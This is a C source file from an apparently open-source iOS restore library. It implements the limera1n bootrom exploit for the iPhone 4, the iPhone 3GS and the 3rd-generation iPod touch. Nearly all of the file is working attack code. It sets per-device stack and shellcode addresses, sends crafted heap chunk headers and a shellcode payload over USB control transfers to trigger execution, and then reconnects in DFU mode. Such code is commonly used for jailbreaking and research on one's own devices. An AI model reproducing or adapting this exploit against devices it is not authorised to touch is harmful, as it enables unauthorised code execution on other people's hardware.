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/*
* limera1n.c
* Helper code for limera1n exploit based on discovery by geohot
*
* Copyright (c) 2012-2013 Nikias Bassen. All Rights Reserved.
* Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
* Copyright (C) 2010 Chronic-Dev Team
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <libirecovery.h>
#include "common.h"
#include "limera1n.h"
#include "limera1n_payload.h"
int limera1n_is_supported(struct irecv_device *device)
{
irecv_device_t iphone4 = NULL;
irecv_device_t iphone3gs = NULL;
irecv_device_t ipod3g = NULL;
irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4);
irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs);
irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g);
return ((device->chip_id == iphone4->chip_id) ||
(device->chip_id == iphone3gs->chip_id) ||
(device->chip_id == ipod3g->chip_id));
}
int limera1n_exploit(struct irecv_device *device, irecv_client_t *pclient)
{
irecv_error_t err = IRECV_E_SUCCESS;
unsigned int i = 0;
unsigned char buf[0x800];
unsigned char shellcode[0x800];
unsigned int max_size = 0x24000;
//unsigned int load_address = 0x84000000;
unsigned int stack_address = 0;
unsigned int shellcode_address = 0;
irecv_device_t iphone4 = NULL;
irecv_device_t iphone3gs = NULL;
irecv_device_t ipod3g = NULL;
int mode = 0;
irecv_devices_get_device_by_product_type("iPhone3,1", &iphone4);
irecv_devices_get_device_by_product_type("iPhone2,1", &iphone3gs);
irecv_devices_get_device_by_product_type("iPod3,1", &ipod3g);
if (device->chip_id == iphone4->chip_id) {
max_size = 0x2C000;
stack_address = 0x8403BF9C;
shellcode_address = 0x8402B001;
} else if (device->chip_id == iphone3gs->chip_id) {
max_size = 0x24000;
stack_address = 0x84033FA4;
shellcode_address = 0x84023001;
} else if (device->chip_id == ipod3g->chip_id) {
max_size = 0x24000;
stack_address = 0x84033F98;
shellcode_address = 0x84023001;
} else {
error("Unsupported ChipID 0x%04x. Can't exploit with limera1n.\n", device->chip_id);
return -1;
}
memset(shellcode, 0x0, 0x800);
memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));
irecv_client_t client = *pclient;
debug("Resetting device counters\n");
err = irecv_reset_counters(client);
if (err != IRECV_E_SUCCESS) {
error("%s\n", irecv_strerror(err));
return -1;
}
memset(buf, 0xCC, 0x800);
for(i = 0; i < 0x800; i += 0x40) {
unsigned int* heap = (unsigned int*)(buf+i);
heap[0] = 0x405;
heap[1] = 0x101;
heap[2] = shellcode_address;
heap[3] = stack_address;
}
debug("Sending chunk headers\n");
irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
memset(buf, 0xCC, 0x800);
for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
}
debug("Sending exploit payload\n");
irecv_usb_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);
debug("Sending fake data\n");
memset(buf, 0xBB, 0x800);
irecv_usb_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);
//debug("Executing exploit\n");
irecv_usb_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);
irecv_reset(client);
irecv_finish_transfer(client);
debug("Exploit sent\n");
debug("Reconnecting to device\n");
*pclient = irecv_reconnect(client, 7);
if (*pclient == NULL) {
error("Unable to reconnect\n");
return -1;
}
irecv_get_mode((*pclient), &mode);
if (mode != IRECV_K_DFU_MODE) {
error("Device reconnected in non-DFU mode\n");
return -1;
}
return 0;
}
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